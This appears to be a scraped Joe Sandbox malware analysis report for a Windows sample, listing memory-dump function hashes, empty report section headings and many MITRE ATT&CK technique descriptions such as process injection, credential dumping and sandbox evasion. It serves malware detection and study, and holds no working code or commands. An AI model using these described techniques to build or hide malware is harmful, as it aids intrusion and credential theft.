Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.866685742.0000000004ED0000.00000040.00000001.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4ed0000_2203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c84df2f5fc90094b0580965ca874e1deabc4c27e3d8caac68e8ec600e25685e2
Instruction ID: 32010c9412f4cca1606475fbdf866477320d017763ca09ab96e9e917a84ccd72
Opcode Fuzzy Hash: c84df2f5fc90094b0580965ca874e1deabc4c27e3d8caac68e8ec600e25685e2
Instruction Fuzzy Hash: 03B022E2F00808C2E300A8802C0A3B83320FB8020AF08AA8A8C0C08080A22AA8288002

Uniqueness

Uniqueness Score: -1.00%

Function 04ED7EC0, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.866685742.0000000004ED0000.00000040.00000001.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4ed0000_2203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd13acdf5772b8b5b1eb58507c4d96c4e61369a4be787a9a3d9dabb94a65154d
Instruction ID: 195f93f6cffadecb561a36e877e2c0a94aee3cc0997305b4a900a84d30983561
Opcode Fuzzy Hash: dd13acdf5772b8b5b1eb58507c4d96c4e61369a4be787a9a3d9dabb94a65154d
Instruction Fuzzy Hash: 4EC09270502240CFDB06DF20C058800BB72EF4230535980D8D10A8F722C736DC82CB10

Uniqueness

Uniqueness Score: -1.00%

Function 04EDE042, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.866685742.0000000004ED0000.00000040.00000001.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4ed0000_2203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6aa24ec7f1605808a3d2668ec1e6afcda710be585990f022d8c5f466b8c18a9
Instruction ID: 1be1143eb049bce34b04fab1cb15bff526ad2e4b239d071c71c25c2dbd18e31a
Opcode Fuzzy Hash: f6aa24ec7f1605808a3d2668ec1e6afcda710be585990f022d8c5f466b8c18a9
Instruction Fuzzy Hash: A4A0223020800CC382000800300C030B320E3C000B30032C2EC0E0A800AA0B0CA28280

Uniqueness

Uniqueness Score: -1.00%

Function 04EDE052, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.866685742.0000000004ED0000.00000040.00000001.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4ed0000_2203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 415d39cb87bd0fb6e42107b5e7891fa989f65093313ce3854db695ecc3bf0a1f
Instruction ID: b072de130df7e59adee9eb3b2e1d5698a17644c61186b4043e7fbb642564b92c
Opcode Fuzzy Hash: 415d39cb87bd0fb6e42107b5e7891fa989f65093313ce3854db695ecc3bf0a1f
Instruction Fuzzy Hash: DFA0223020800CC382200820300C0B03320E3C000330223C8EC0E0A800BA0B2CA08288

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may send spearphishing emails with a malicious link in an attempt to elicit sensitive information and/or gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments.
Tactics:	Initial Access
Data Sources:	DNS records, Detonation chamber, Email gateway, Mail server, Packet capture, SSL/TLS inspection, Web proxy
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	AWS CloudTrail logs, Authentication logs, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report 7NAzyCWRyM.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Cryptography:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Spam, unwanted Advertisements and Ransom Demands:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre